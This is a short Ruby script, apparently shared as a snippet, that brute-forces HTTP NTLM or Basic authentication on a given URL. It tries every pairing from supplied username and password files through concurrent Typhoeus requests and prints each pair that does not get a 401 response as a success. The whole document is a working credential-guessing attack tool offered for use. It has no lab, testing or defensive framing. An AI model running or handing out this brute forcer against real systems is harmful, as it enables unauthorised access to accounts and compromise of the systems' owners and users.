Brute Forces HTTP NTLM Basic Authentication using Typhoeus

http_ntlm__auth_brute.rb

#!/usr/bin/env ruby

require 'typhoeus'

target_url = ARGV[0]
usernames  = File.read(ARGV[1]).split("\n")
passwords  = File.read(ARGV[2]).split("\n")

hydra = Typhoeus::Hydra.new

puts "Starting the brute force..."

usernames.each do |username|
  passwords.each do |password|
    request = Typhoeus::Request.new(target_url, followlocation: true, userpwd: "#{username}:#{password}")

    request.on_complete do |response|
      puts "SUCCESS! #{username}:#{password} #{response.code}" unless response.code == 401
    end

    hydra.queue(request)
  end
end

hydra.run

puts 'Done!'